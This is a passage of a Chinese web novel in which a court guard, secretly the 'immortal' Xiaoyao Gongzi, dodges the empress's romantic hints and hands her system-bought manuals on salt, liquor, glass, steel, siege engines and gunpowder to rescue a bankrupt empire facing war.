“江爱卿,你那位神通广大的师尊…逍遥前辈,他…此刻可在京城附近?”
又来?
江凡心中警铃大作,头皮发麻。
你不提我师尊心里痒还是别的地方痒咋滴?
他强作镇定,沉声道:
“回陛下,师尊他老人家行踪飘忽不定,如闲云野鹤,此刻身在何方,臣…臣亦不知。师尊行事,向来不喜旁人过问,臣也不敢妄加揣测。”
“是吗?”萧璇月放下茶盏,目光幽幽,
“那倒是可惜了。朕原本还想,若是他老人家在附近,朕今夜…还想再见他一面,有些话,想当面与他说说。”
她说着,抬起凤眸,眼波流转,似嗔似怨,带着一种莫名的情愫,直直地看向江凡。
江凡被她看得心里发毛,连忙躬身,语气更加恭敬:
“陛下!师尊他老人家…性子孤僻,不喜与人交往,尤其…尤其是宫中之人。昨夜能现身一见,已是破例。
臣…臣实在不敢再去叨扰他老人家!况且,师尊他临走前曾言,近期要闭关静修,参悟天道,恐…恐无法再见外客了!”
他拼命把‘逍遥公子’往世外高人、闭关狂魔的人设上靠,希望能打消女帝这个念头。
开玩笑,见一次面一百万点人气值!
地主家也没有余粮啊!
而且在这深宫大内,高手如云,万一露馅了怎么办?
打死也不能见!
萧璇月将他那一闪而逝的慌乱和急于推脱的神色尽收眼底,心中暗笑:看给你吓的。
不过江凡抗拒的样子,应该不仅仅是不知道怎么面对她。
她心中再次猜测,江凡伪装‘逍遥公子’提升的修为,很可能有某种限制,或者需要付出一些代价。
一念至此,她心中倒是有些愧疚和感动。
她面上却露出一丝失望和惆怅,轻轻叹了口气:
“闭关了啊…那倒是朕唐
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突了。只是…如今多事之秋,北莽、南蛮虎视眈眈,靖王贼心不死,朝中亦是暗流汹涌。朕…有时真觉得,这龙椅,坐得甚是疲累。”
她的声音低了下去,带着一丝罕见的脆弱与迷茫,目光飘向窗外沉沉的夜色,
“若逍遥前辈能在关键时刻,再助朕一臂之力,那该多好…”
江凡心中一动。
他能听出女帝话语中的压力与孤独。
抛开‘逼婚’的惊吓不谈,她一个年仅双十年华女子,却要扛起整个帝国兴衰、内忧外患的年轻帝王。
这份重担,足以压垮任何人,也是他打死都对皇位没兴趣的原因。
需要操心的事情太多了!
每天光是看着萧璇月处理奏折,他都想打瞌睡。
他沉吟片刻,语气诚恳了几分,道:
“陛下不必过于忧心。师尊虽行踪不定,但心系苍生。他曾对臣言,陛下乃仁德之君,心怀天下,是大夏之福。
若陛下当真遇到危难,社稷有倾覆之险,师尊他…定然不会坐视不理。臣虽不才,但也愿竭尽全力,护卫陛下,肝脑涂地,在所不辞!”
这番话,倒有七八分是真心的。
无论于公于私,他都不希望女帝出事,大夏乱套。
等自己实力足够,而大夏恢复太平,他说什么都要辞职回家当自己纨绔去。
哪怕不要爵位都行。
每天带着娇妻美妾的满世界旅游不香吗?
萧璇月闻言,转过头,定定地看着他。
烛光下,江凡的脸庞轮廓分明,眼神清澈而坚定。
虽然依旧带着几分少年人的青涩,但那份发自肺腑的忠忱与关切,却做不得假。
她的心中一股暖流悄然漫过心田,不由有些怀念之前的拥抱。
有他在身边,似乎…真的能安心许多。
哪怕他此刻披着‘纨绔’或‘侍卫’的外衣,但他的‘另一面’,那份神秘而强大的力量,始终是她最大的底气与依靠。
“嗯,朕知道了。”她轻轻应了一声,声音柔和了些许,“你有此心,朕心甚慰。”
她顿了顿,目光不经意间扫过江凡的衣袍下摆,那里,不知何时被树枝划破了一道寸许长的口子,露出里面白色的中衣。
“你衣服破了。”萧璇月忽然说道。
第176章 终究是女子
“啊?”
江凡一愣,低头看去,果然看到下摆的破口。
大概是昨夜在崖下或是今早匆忙间被勾破的。
他挠了挠头,不好意思地笑道:
“哦,这个啊,不打紧,一点小口子,回头让府里的丫鬟补补就行。多谢陛下关心。”
萧璇月却微微蹙眉,似乎有些不满:
“既已入宫当值,便是朕的近臣,衣着岂可如此不整?有损体统。”
她想了想,对侍立一旁的云暮吩咐道:
“云暮,去内务府,让他们按照江侍卫的身量,取两套新的侍卫常服过来。”
“是,陛下。”
云暮应声,看了江凡一眼,眼中带着笑意,转身去了。
“陛下,这…这如何使得!臣惶恐!”
江凡连忙摆手。
“朕赏你的,有何使不得?”萧璇月瞥了他一眼,
“你如今是二品金刀侍卫,代表着朕的颜面,穿着岂能马虎?那套破的,脱下来,让宫女拿去扔了便是。”
“扔了?”江凡一听,连忙道,
“别,陛下!这衣服…这衣服是家姐亲手缝制的,虽不名贵,但…但臣穿惯了,而且只是破了个小口子,补补还能穿。扔了…怪可惜的。”
他这话倒不全是托词,这身侍卫服确实是姐姐江芷兰一针一线亲手给他改的,针脚细密,穿着也合身舒适。
萧璇月闻言,眸光微微一闪。
家姐缝制的?
她想起那个温婉秀丽、对弟弟关怀备至的江芷兰,说起来也有段时间没有跟这丫头聊天了。
她沉默了片刻,目光再次落在那道破口上,忽然道:
“既是你姐姐心意,那便留着吧。破了…补补便是。”
她的声音很轻,带着一丝宠溺。
江凡松了口气:“谢陛下体谅!臣回头就拿回去让姐姐补。”
“不必如此麻烦。”
萧璇月却再次开口,语气恢复了平静,
“宫中尚衣局的宫女,手艺亦是极好的。云暮,待新衣取来,让江侍卫换上。这套旧的…”
她顿了顿,似乎随意地道,
“先放着吧,晚些时候,让她们修补一下便是。也算…物尽其用。”
“是,陛下。”
云暮刚取了新衣回来,闻言应下,将两套崭新的侍卫服捧给江凡,又示意他将旧衣脱下。
江凡不敢多问,只能依言照做,在偏殿换上了崭新的侍卫服。
人靠衣装,这身崭新的二品金刀侍卫服,衬得他身姿越发挺拔,连气质似乎都庄重了几分。
萧璇月看着他换好新衣走出来的模样,凤眸中掠过一丝亮色,微微颔首:
“嗯,尚可。这才像个样子。时辰不早了,你也累了一天,早些回去歇息吧。明日…还有的忙。”
她挥了挥手,示意他退下。
“臣告退。”
江凡如释重负,躬身行礼,退出了御书房。
走在回廊上,夜风拂面,带着深秋的凉意,他却觉得背后微微出汗。
今天这御书房之行,信息量太大,心情起起落落,比坐过山车还刺激。
女帝的心思,比海还深,猜不透,猜不透啊!
还是赶紧回去,看看人气值涨了多少才是正理!
……
是夜,万籁俱寂。
养心殿内,烛火通明。
萧璇月批完了最后一份紧急军报,搁下朱笔,揉了揉有些发酸的手腕。
云暮适时地递上一杯温热的参茶。
“陛下,夜深了,该安寝了。”
云暮轻声劝道。
萧璇月接过茶盏,却没有立刻喝,目光有些游离,似乎心事重重。
她站起身,缓步走到窗边,推开半扇窗,望着窗外的月光。
夜空中繁星点点,却驱不散她心头的阴霾。
北莽陈兵边境,南蛮蠢蠢欲动,靖王蛰伏暗处,朝中还有多少人是他的眼线?
这江山,这龙椅,坐得真是如履薄冰。
“云暮,你说…这大夏的江山,朕…守得住吗?”
她忽然轻声问道,声音带着一丝罕见的迷茫。
云暮心中一震,连忙道:
“陛下何出此言?陛下自登基以来,勤政爱民,宵衣旰食,剪除奸佞,重用贤能,大夏在陛下治下,已渐有中兴之象!陛下乃真龙天子,自有上天庇佑,定能扫清寰宇,开创盛世!”
萧璇月轻轻摇头,嘴角泛起一丝苦涩的笑:
“真龙天子?上天庇佑?若真有上天庇佑,为何朕一介女流,要坐在这风口浪尖?为何要让朕面对如此多的明枪暗箭,内忧外患?”
她顿了顿,声音更低,
“有时候,朕
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真的觉得…好累。”
云暮看着女帝单薄却挺直的背影,心中涌起一阵酸楚。
她知道,陛下肩上扛着的,是何等重担。
外人只看到她杀伐果断、威仪天成的一面,却看不到她深夜独坐、对月叹息的孤独与疲惫。
“陛下…”
云暮不知该如何安慰。
萧璇月却很快收敛了那丝脆弱,转身走回内室。
她的目光,不经意间扫过屏风上搭着的那件玄色旧侍卫服——正是江凡白日里换下的那件。
下摆处,那道寸许长的破口清晰可见。
她的脚步顿住了。
鬼使神差地,她走到屏风前,伸手轻轻抚过那道破口。
仿佛能感受到白日里,那个少年穿着它,在猎场奔波,在崖下‘救’她的模样。
这衣服上,似乎还残留着些许属于他的气息。
脑海中,不由自主地浮现出西山崖底,‘逍遥公子’笨拙地、小心翼翼地为自己‘疗伤’、为自己穿回衣衫时那窘迫的神情…
还有那夜在营帐,刺客袭来,他毫不犹豫地挡在自己身前,那异常坚定的背影…
脸颊莫名有些发烫,脑海中情不自禁的想起江凡那永远睡不醒的懒散模样。
她猛地收回手,心跳,似乎也漏了一拍。
“云暮,”她忽然开口,声音有些干涩,
“去…取针线来。”
“针线?”
云暮一愣,随即目光落到那件旧衣服上,瞬间明白了什么,眼中闪过一丝了然和笑意,应道:
“是,奴婢这就去取。”
很快,一个精巧的螺钿漆盒被取来。
萧璇月坐到灯下,拿起那件旧衣,仔细看了看破口的位置和走向。
然后,她捻起一根与衣物颜色相近的玄色丝线,穿针引线。
她的动作有些生疏,毕竟贵为天子,早已多年不曾碰过这些女红之物。
但她的神情却异常专注,仿佛在做一件极其重要的事情。
烛光映着她绝美的侧脸,神情恬静而柔和,与白日里那个杀伐果断、威仪凛然的女帝判若两人。
云暮静静地伫立一旁,看着这一幕,心中感慨万千。
陛下她…终究也是个女子啊。
再坚强,再威严,内心深处,也渴望着一份平凡的温暖与依靠吧?
第177章 给朕狠狠打
“陛下,您的针线功夫,还是这般好。”
云暮轻声赞道,打破了室内的寂静。
萧璇月手微微一颤,针尖险些扎到手指。
她抬起头,似乎才意识到云暮还在,脸上掠过一丝红晕,但很快又恢复了平静,淡淡道:
“许久不做了,手生了许多。不过是件旧衣,破了也是可惜,随手补补罢了。”
她语气平淡,仿佛真的只是随手而为。
云暮抿嘴一笑,没有拆穿。
若是随手,何须陛下亲自来做?
尚衣局多少绣娘?
陛下这‘口是心非’的毛病,倒是越来越像寻常怀春的少女了。
只是这话,她可不敢说。
若能跟江世子在一起,无论是对陛下,还是对整个大夏国来说,都是一件好事。
云暮本来就对江凡有好感,现在知道逍遥公子就是江凡,自然希望陛下跟江凡能尽快挑明关系。
萧璇月不再言语,继续低头缝补。
殿内重归寂静,银针穿过布料的细微沙沙声。
这声音,莫名地让人心安。
不知过了多久,最后一针落下,萧璇月打了个结,用牙齿轻轻咬断线头。
她将补好的衣服提起来,对着灯光仔细看了看。
破口已然不见,只有一道细密的缝合痕迹。
她轻轻抚过那处补丁,指尖传来粗布特有的质感,以及…一丝淡淡的、属于那个人的气息。
她的嘴角不自觉地弯起一个弧度。
“补好了。”
她轻声说道,像是在对云暮说,又像是在自言自语。
然后将衣服仔细叠好,放在一旁。
“陛下手艺精巧,补得天衣无缝。”
云暮笑着奉承了一句。
萧璇月没有接话,只是站起身来,走到窗边,再次望向窗外的夜空。
月光清辉洒落,在她身上镀上一层银边。
她脸上的疲惫似乎淡去了许多,眼神也变得清亮而坚定。
“有他在…朕,或许真的能守住这江山吧。”
她低声呢喃,声音轻得只有自己能够听见。
那个‘他’,指的是谁,不言而喻。
“云暮,更衣,安置吧。”
她转过身,声音恢复了平日的清冷与威严。
“是。”
云暮上前,为她卸下钗环,换上寝衣。
躺在柔软的龙榻上,萧璇月却并无多少睡意。
她睁着眼,望着帐顶繁复的龙凤刺绣,脑海中思绪纷飞。
今日的奏折信息很多:靖王的威胁,边境的危机,朝中的暗流…
一桩桩,一件件,沉甸甸地压在心口。
然而,与往日不同,今夜这些纷乱的思绪中,却总是不自觉地夹杂进一个身影——
时而惫懒耍滑,时而机警过人;时而忠厚老实,时而神秘莫测;
挡在她身前时那般决绝,被她‘逼问’时又那般窘迫可爱…
还有,那件已然补好、放在不远处的旧衣。
她翻了个身,手无意识地抚上身上穿着的那件轻薄柔软的【天蚕金丝软甲】。
这是他那日离开皇宫前,从身上脱下来送给自己的。
指尖传来丝滑的触感,却又仿佛带着他身上残留的温度。
这软甲,护过他的身,如今,又穿在了她的身上。
仿佛…两人之间,早就有了一层不为外人所知的联系。
脸颊又有些发热。
她将脸埋进柔软的锦被中,深深吸了一口气,仿佛能闻到那日在他怀中,身上淡淡的味道。
心中那点因国事而生的烦闷与孤寂,似乎也被冲淡了些许。
“江凡…没有你暗中相助,朕和大夏国也不能拖到今日。无论未来如何,朕都感激你...”
她在心底轻轻念叨了一句,最终缓缓合上眼睫。
夜色渐深,烛火渐熄。
养心殿内,终于归于宁静。
....
很快到了上朝时间。
萧璇月醒来,看着身边更新的话本,犹豫了一下还是翻开查看。
似乎最近‘逍遥公子’的心情也不好,话本中的内容,已经变成‘侍卫林枫’的独角戏。
林枫感受到自己可能命不久矣,竟然选择独自离开,免得‘大乾女帝’伤心。
萧璇月眼中有水雾升腾:江凡,你怎么知道,如果真正相爱,留下的人承受的痛苦会不会更多呢?
....
早朝之上,气氛凝重。
果然,兵部、户部接连奏报,北境镇北侯八百里加急,北莽铁骑异动频繁,似有大举南侵之势;
南疆镇国公亦有密报,南蛮诸部正在集结兵力
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,边关摩擦不断,局势一触即发。
朝堂之上,主战、主和两派吵得不可开交。
主战派以镇国公旧部、兵部一些少壮派将领为首,慷慨激昂,要求增兵边关,主动出击,扬我国威;
主和派则以户部、礼部及一些年老持重的大臣为主,陈说国库空虚、连年征战民生疲敝,主张遣使和谈,以金银岁币换取和平。
萧璇月端**,面沉如水,听着下方的争吵,凤眸中寒光闪烁。
她心中早有决断,但此刻却并未表态,只是冷冷地看着。
江凡如同木桩一般站在丹陛下,眼观鼻鼻观心,心里却盘算着:
打?没钱没粮,怎么打?
和?割地赔款,丧权辱国,女帝肯定不干。
看来,最后还得靠…自己想办法搞点‘外挂’?
比如,用系统多兑换点高产作物种子、新型炼钢法什么的?
可那都需要海量人气值啊!
现在人气值日收百万人气,他依然感觉不够用。
他正胡思乱想着,忽然感到一道阴冷的目光落在自己身上。
他微微抬眼,余光瞥去,只见文官队列中,一个穿着紫袍、面容清癯、眼神阴鸷的老者,正不动声色地打量着他。
正是吏部尚书,靖王党羽之一,李墨。
那目光如同毒蛇,让他很不舒服。
“看来,靖王虽然暂时蛰伏,但他的爪牙,可没闲着。”
江凡心中冷笑,默默提高了警惕。
真把自己逼急了,那不介意使用一张陆地神仙体验卡,连夜进行一次剿灭行动!
就在这时,龙椅上的萧璇月忽然开口,声音清冷,却带着威严:
“够了!”
朝堂瞬间安静下来。
“北莽南蛮,狼子野心,昭然若揭!和谈?无非是缓兵之计,养虎为患!”
萧璇月凤目扫过主和派众人,那些大臣纷纷低下头,不敢与之对视。
“然,国库空虚,兵疲民困,亦是实情。贸然开战,胜算几何?”
她顿了顿,目光转向兵部尚书:
“兵部,即刻拟旨,命北境镇北侯、南疆安国公,严密监视敌情,加固城防,整军备战!
没有朕的旨意,不得擅自出击,但若敌寇来犯,给朕狠狠地打!打出我大夏的威风!”
第178章 你可有法子
“臣,遵旨!”
兵部尚书出列领命。
“户部,”萧璇月目光转向一个愁眉苦脸的老臣,
“朕不管你用什么办法,加征商税也好,削减宫中用度也罢,十日之内,给朕筹措出三十万两军饷,五十万石粮草,运抵边关!若有延误,提头来见!”
“老臣…老臣领旨!”
户部尚书脸都白了,但不敢抗旨,颤声应下。
“至于和谈…”
萧璇月嘴角勾起一抹冰冷的弧度,
“朕可以谈。但,不是现在,也不是跪着谈!待我边军将士,用刀剑告诉那些蛮夷,何为天朝上国,何为不可侵犯之后,再谈不迟!”
“陛下圣明!”
主战派大臣纷纷跪倒,山呼海啸。
主和派噤若寒蝉,不敢再言。
江凡在一旁听得暗自点头。
女帝这番处置,刚柔并济,既有强硬态度,也考虑了现实困难,更指明了方向——先立足于守,积蓄力量,等待时机。
确实有明君风范。
不过,这军饷粮草…十天筹措八十万?
恐怕要把户部尚书的头发都薅秃了,而且未必能筹集出来!
散朝后,江凡跟着萧璇月回到御书房。
一路上,萧璇月眉头紧锁,显然心情沉重。
边关告急,国库空虚,内有权臣虎视眈眈,外有强敌环伺…这千斤重担,压在她一个女子肩上,确实不易。
“江凡。”
进入御书房,屏退左右后,萧璇月忽然唤道。
“臣在。”江凡连忙躬身。
萧璇月走到窗前,望着窗外萧瑟的秋景,背影显得有些单薄。
“你说…这江山,朕守得住吗?”
她的声音很轻,带着一丝疲惫。
江凡心中一震。
这是女帝第一次,在他面前流露出如此脆弱的一面。
他沉默片刻,肃容道:
“陛下励精图治,心怀万民,又有忠臣良将辅佐,必能廓清寰宇,中兴大夏!”
“忠臣良将?”
萧璇月转过身,脸上露出一丝苦笑,
“忠臣良将有,但国库空虚,兵甲不修,将士虽有热血,却无粮饷,如何御敌?
靖王在朝在野,党羽遍布,随时可能发难…朕有时觉得,自己如同坐在火山口上,不知何时,便会粉身碎骨。”
江凡看着她眼中的迷茫与无助,心中莫名一软。
他想起之前萧璇月搂着自己哭的场景,或许只有在‘逍遥公子’面前,她才会彻底打开心扉吧!
“陛下,”他深吸一口气,上前一步,沉声道,
“臣虽不才,愿为陛下手中利剑,扫除奸佞!臣之师尊…虽游戏风尘,但心怀苍生,若社稷真有倾覆之危,他断不会坐视不理!请陛下…宽心!”
他这番话,半是安慰,半是表态。
无论如何,他现在和女帝是一条船上的人,一荣俱荣,一损俱损。
萧璇月深深地看了他一眼,目光复杂。
尤其知道江凡就是逍遥公子,这话让她十分安心。
“利剑么…”
她低声重复了一句,忽然展颜一笑,那笑容带着一种惊心动魄的美,
“好,朕记下了。但愿你这把剑,不会让朕失望。”
她走到御案后坐下,揉了揉眉心:
“边关之事,朕自有计较。眼下,还有一事需你留意。”
“陛下请吩咐。”
“靖王经此一挫,必不甘心。他勾结江湖门派,刺杀于朕,此事虽未抓住把柄,但其心可诛。朕已命影卫暗中调查,但江湖之事,错综复杂。你…”
她看向江凡,意有所指,
“你师尊游历天下,交友广阔,可曾与你提过,江湖之中,有哪些势力,可能与靖王有所勾连?比如…五毒教,幽冥宗?”
江凡心里咯噔一下。
女帝这是在试探他‘师尊’的底细,还是真的想借助‘逍遥公子’的江湖关系网?
他对只能按照这段时间自己听说的表达意见:
“回陛下,师尊他老人家甚少与臣提及江湖之事。不过…臣曾偶然听师尊提起,江湖中确有‘五毒’、‘幽冥’等派,行事诡秘,亦正亦邪。若靖王以重利相诱,确有可能为其驱使。”
萧璇月微微颔首,似乎并不意外:
“朕已下令,让影卫重点排查这两派。此外,京城之内,亦需加强戒备。你既为金刀侍卫,统领部分宫中禁卫,需加倍小心,严防刺客潜入。”
“臣明白!”
江凡肃然应道。
这可是关系到自己小命和女帝安全的大事,马虎不得。
“还有,”
萧
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璇月从案几上拿起一封信函,递给江凡,
“这是安国公从南疆传来的密报,你看看吧。”
江凡一怔,接过信函。
他展开一看,眉头渐渐皱起。
信中,安国公详细禀报了南蛮的异动,提到南蛮各部似有联合之势,背后疑似有神秘势力扶持。
其练兵之法、兵器甲胄,皆不似蛮族应有,怀疑有中原势力暗中插手。
信末,安国公忧心忡忡地提到,边境粮草军械匮乏,若大战开启,恐难持久,请朝廷速调拨粮饷。
“陛下,这…”
江凡抬头,看向萧璇月。
“你也看到了。”萧璇月叹了口气,
“内忧外患,皆指向一处——钱粮。没有钱粮,边军无以为战;没有钱粮,朝政难以运转;没有钱粮,朕便是巧妇,也难为无米之炊。
虽然朕获得了一批高产的种子,但收获还需要很长时间,想推广全国更是需要很多年。”
她目光灼灼地看着江凡,
“江凡,你...你师尊…可有快速生财之道?”
江凡:“……”
‘师尊’是陆地神仙,不是财神爷啊!
他苦着脸道:
“陛下,师尊他…虽有些神通,但点石成金、凭空生财之法,恐怕…也没有。”
萧璇月眼中闪过一丝失望,但并未多言,只是挥了挥手:
“朕知道了,你退下吧。记住,加强宫中戒备,尤其是夜间。”
“臣告退。”
江凡行礼退出。
走出御书房,他心中沉甸甸的。
钱粮…这确实是卡住大夏命脉的难题。
难道真要加征赋税,盘剥百姓?
那与杀鸡取卵何异?
他一边思索,一边朝自己的偏殿走去。
路过御花园时,却见云暮正在一株桂花树下,似乎在等他。
“云暮姑娘?”江凡上前。
云暮转过身,脸上带着一丝忧色,低声道:
“江侍卫,陛下心情不佳,晚膳几乎未动。你可有法子…让陛下开开胃?”
她顿了顿,补充道,
“陛下…很信任你的手艺。”
江凡恍然。
原来是为这事。
他想了想,点头道:
“我试试。劳烦云暮姑娘跟御膳房说一声,晚膳我来准备。”
第179章 点石成金术
“有劳江侍卫了。”
云暮微微颔首,眼中带着感激。
离开之后,江凡没有急着做饭,忍不住嘀咕了一句:
“唉,这皇帝,也不是那么好当的。”
看来,光靠‘逍遥公子’偶尔救场和吓唬人,解决不了根本问题。
大夏的根基,已经有些动摇了。
再不想办法开源节流,增强国力,女帝这位置,怕是真的坐不稳。
他调出系统商城,开始仔细搜寻。
之前他兑换物品,大多是围绕个人实力提升和应急,对民生、经济、军事技术这些东西关注不多。
此刻仔细一找,还真有不少东西,而且价格不算特别离谱。
【初级精盐提纯法(附图纸)】:消耗人气值50,000点。
【初级蒸馏酒酿造法(附设备图)】:消耗人气值80,000点。
【琉璃制作工艺图纸(附设备图)】:消耗人气值100,**00点。
【百炼钢改良锻造法(附风箱、灌钢法等图纸)】:消耗人气值120,000点。
【简易**配方(黑**)及基础应用(附警示)】:消耗人气值150,000点。
【简易战争器械图纸集(包括改良投石机、床**、攻城车等)】:消耗人气值100,000点。
江凡眼睛亮了!
这些东西,不正是眼下大夏急需的吗?
精盐、烈酒,琉璃可以快速敛财,充实国库!
改良的钢铁锻造法,能打造出更精良的兵器盔甲,提升军队战斗力!
**和战争器械,更是足以改变战场格局的大杀器!
虽然兑换价格不菲,加起来要六十万点人气值,但…值得!
若能帮女帝度过难关,稳住朝局,自己这个金刀侍卫的日子也能好过点不是?
而且,这也算是…间接帮了她吧?
他咬了咬牙,下定决心。
干了!
“系统,兑换【初级精盐提纯法】、【初级蒸馏酒酿造法】、【琉璃制作工艺】【百炼钢改良锻造法】、【简易**配方及基础应用】、【简易战争器械图纸集】!”
【叮!兑换成功!相关技术图纸、工艺流程、配方及安全警示已存入系统空间,可随时调用。】
看着瞬间扣除的人气值,江凡有些肉痛。
当东西到手,他立刻行动。
他不敢直接以自己的名义献上,那样太突兀,解释不清来源。
但…可以假借‘师尊逍遥公子’之手啊!
反正女帝已经认定逍遥公子是自己师尊,而且对他颇为信任甚至‘爱慕’?
用这个马甲,合情合理,还能刷一波‘师尊’的神秘感!
他立刻溜回自己的偏殿,关好门窗,从系统空间调出那几份厚厚的、图文并茂的‘秘籍’,又找来纸笔,开始誊抄。
他是用这个时代的文字和表述方式,结合自己理解,将关键步骤、配方、图纸简化、优化后,重新整理成几份看起来像是‘高人笔记’或‘秘传手札’的东西。
尤其是**配方,他反复斟酌,写得格外详细,并在最前面用朱笔大字标注:
‘此物危险,可控可用,失控则毁天灭地,务必慎之又慎,交由绝对可靠、心细沉稳之工匠,于远离人烟、通风干燥之处小规模试制,严禁烟火!’
做完这一切,天色已近黄昏。
他将几份‘秘籍’仔细叠好,放入一个普通的木匣中。
想了想,他又钻进小厨房——这是他金刀侍卫特权之一,为了方便给女帝准备点心,特意给他配了个小灶。
他挽起袖子,以最快的速度做了几样清爽开胃、易于消化的小菜,并熬了一小锅营养丰富的鸡茸粟米羹。
女帝心情郁结,食欲不振,吃点顺口的,或许能舒服些。
一切准备停当,他深吸一口气,端着食盒,抱着木匣,再次走向御书房。
御书房内,烛火已燃起。
萧璇月依旧坐在龙案后,面前的奏折堆积如山。
她却一手支额,闭目养神,眉宇间是化不开的疲惫与愁绪。
听到通传,她缓缓睁开眼,见到是江凡,凤眸中掠过一丝柔和。
“陛下,该用晚膳了。”
江凡躬身行礼,将食盒轻轻放在一旁的矮几上,打开盖子,食物的香气瞬间弥漫开来。
萧璇月瞥了一眼,那精致的菜肴和热气腾腾的羹汤,让她麻木的胃似乎蠕动了一下。
她勉强提起点精神,淡淡道:
“放那儿吧。朕稍后用。”
声音有气无力。
江凡看着她憔悴的模样,心中有些莫名的心疼。
他走上前几步,将木匣双手奉上,低声
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道:
“陛下,臣…臣方才回住处,发现师尊…他老人家不知何时,在臣房中留下了此物。
师尊留言,言道近日观天象,见紫微晦暗,煞气冲宫,知陛下为钱粮军备之事忧心,特留此匣,或可解陛下燃眉之急。
师尊还说…此中物事,干系重大,务必慎用,尤其那标有‘**’之物,威力骇人,需绝对可靠之人,秘密试制,万不可泄露半分,否则遗祸无穷。”
他编得煞有介事,语气恭敬,仿佛真的收到了‘师尊’的隔空传物。
萧璇月闻言,原本黯淡的凤眸骤然一亮!
她猛地坐直身体,一把接过木匣,急切地打开。
当看到里面那厚厚一叠、字迹工整、图文并茂的纸张时,她的呼吸不由自主地急促起来。
她迫不及待地拿起最上面一张,是关于精盐提纯的。
她快速浏览着,越看眼睛越亮,拿着纸张的手甚至微微颤抖起来!
这法子…看似简单,却妙用无穷!
若能推广,大夏的盐税收入,何止翻倍!
还有那烈酒酿造法和琉璃制作工艺…这简直就是点石成金之术!
她强压住内心的激动,又翻开下面关于钢铁锻造、战争器械的图纸。
那些精妙的结构、清晰的说明、合理的改进…
无一不让她这个不通工匠之术的人也看得心潮澎湃!
若真能依此打造出更精良的兵器盔甲、更强大的攻城器械,大夏军队的战力,将得到质的飞跃!
最后,她的目光落在了那份用朱笔标着‘绝密!慎之又慎!’的**配方及应用说明上。
当她看清那‘硝七十五、硫十、炭十五’的配比,以及后面描述的‘声若雷霆,火光迸射,可裂金石,糜烂数十步’的威力...
还有那些简易的‘震天雷’、‘飞天炮’构想时,她的心脏狂跳起来!
这…这是何物?
竟有如此毁天灭地之威?
若用于军阵…她不敢想象!
但同时,那触目惊心的安全警示也让她瞬间冷静下来。
此物,是双刃剑,用得好,可定乾坤;用不好,便是灭顶之灾!
“这…这真是逍遥前辈所留?”
她猛地抬头,目光灼灼地看向江凡,声音发颤。
江凡啊江凡,你究竟还有多少惊喜给朕?
第180章 愿立军令状
“千真万确!师尊他老人家神龙见首不见尾,留下此物便飘然而去,臣也是方才发现。”
江凡一脸虔诚与崇敬,“师尊还说,此中机密,关乎国运,望陛下善用之,慎用之,造福黎民,震慑宵小。”
萧璇月紧紧攥着那几张纸,这可是足以逆转乾坤的国之重器!
连日来的阴霾、焦虑、无力感,在这一刻,被这突如其来的希望冲散了大半!
她看着眼前这个‘忠心耿耿’、‘替师传物’的侍卫,心中涌起暖流和感动。
什么‘师尊所留’,根本就是他自己拿出来的!
他不仅数次救她于危难,如今更是雪中送炭,将这足以改变国运的珍宝献上!
他明明有如此惊世之才,却甘愿隐于幕后,以这种方式默默相助…
若不是那枚玉佩暴露了他就是‘逍遥公子’,可能她会一直蒙在鼓里。
这份心意,这份守护…
“江凡…”
她深吸一口气,努力平复激荡的心情,凤眸中闪烁着光芒,
“代朕…多谢尊师。此恩此德,朕…铭记于心。”
她刻意加重了‘尊师’二字,目光却一瞬不瞬地看着江凡。
江凡被她看得心里发毛,赶紧低下头:
“陛下言重了!师尊他老人家心怀天下,不忍见黎民受苦,社稷动荡,此乃分内之事。陛下若能善用此物,富国强兵,便是对师尊最好的报答。”
“心怀天下…不忍见黎民受苦…”
萧璇月低声重复着,眼中闪过一丝光芒。
这就是江凡的真实想法吗?
她忽然展颜一笑,那笑容美得惊心动魄,让江凡都看呆了一瞬。
“逍遥前辈…真是悲天悯人。只是不知,前辈他…除了心怀天下,可还…心怀他人?”
她意有所指,语气带着一丝揶揄。
江凡心里咯噔一下,又来了!
他硬着头皮道:
“师尊他…淡泊名利,超然物外,心中唯有大道苍生。至于其他…臣不敢妄加揣测。”
“是吗?”
萧璇月唇角微勾,似笑非笑,
“可朕怎么觉得,尊师对朕…似乎格外关照呢?屡次相救于危难,如今又赠此重宝。这般厚爱,可不像是对寻常‘天下苍生’啊。”
她慢慢站起身,走到江凡面前,距离近得江凡能闻到她身上传来的体香。
她微微仰头,看着江凡那张故作镇定、实则眼底藏着慌乱的脸,声音压低,带着一种蛊惑般的轻柔:
“江爱卿,你实话告诉朕,你师尊他…对朕,可有一丝不同?朕要不要以身相许报答?”
江凡只觉得头皮发麻,后背冷汗都快下来了。
这女人,怎么又绕到这上面来了!
他赶紧后退一步,拉开距离,躬身道:
“陛下明鉴!师尊他老人家行事,高深莫测,岂是臣等凡夫俗子所能臆测?师尊助陛下,想来是见陛下乃明君,可安天下,救黎民,绝无他意!还请陛下莫要…莫要多想!”
他差点把‘自作多情’四个字说出来,幸好及时刹住车。
东西是我给你的,天天念叨我师傅,真是...
“绝无他意?莫要多想?”
萧璇月看着他这副急于撇清关系的模样,心中又是好气又是好笑,还有一丝淡淡的失落。
但她很快将这丝情绪压下,重新坐回龙椅,脸上恢复了帝王的威仪,只是眼底带着一丝狡黠。
“也罢,既然尊师不愿承认,朕也不强求。只是…”
她话锋一转,眼中闪过一丝锐利,
“此等机密,关系国本,绝不可泄露半分!江凡,你立即去传朕口谕,密召工部尚书王元朗、兵部侍郎李继、将作大匠欧阳子,即刻入宫觐见!记住,要隐秘,不可让任何人知晓!”
“臣遵旨!”
江凡如蒙大赦,连忙躬身领命,逃也似地退出了御书房。
直到走出老远,被冷风一吹,他才感觉心情复杂。
这女人,难道真看上我‘师尊’了?
他定了定神,赶紧去传旨了。
看着江凡仓皇逃窜的背影,萧璇月嘴角的笑意终于荡漾开来。
她轻轻抚摸着木匣中那些珍贵的纸张,仿佛能感受到其上残留的、属于那个‘神秘人’的温度与心血。
心中的阴霾一扫
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而空,心中充斥踏实与希望。
“逍遥公子…江凡…”
她低声呢喃,眼中光华流转,
“若能平定内忧外患,这个江山...有你一半...”
很快,被密诏的三位重臣匆匆赶到御书房。
他们皆是萧璇月登基后一手提拔的心腹,忠诚可靠,且各有专长。
工部尚书王元朗精于营造、水利;兵部侍郎李继熟知军械、粮草;将作大匠欧阳子更是世代工匠出身,技艺超群。
当萧璇月将那些图纸、配方一一展示给他们看,并简要说明后,三人全都惊呆了!
“这…这精盐之法,竟如此巧妙!成本低廉,产出纯净,若推行全国,盐税可增数倍!国库充盈有望矣!”
王元朗激动得胡子乱颤。
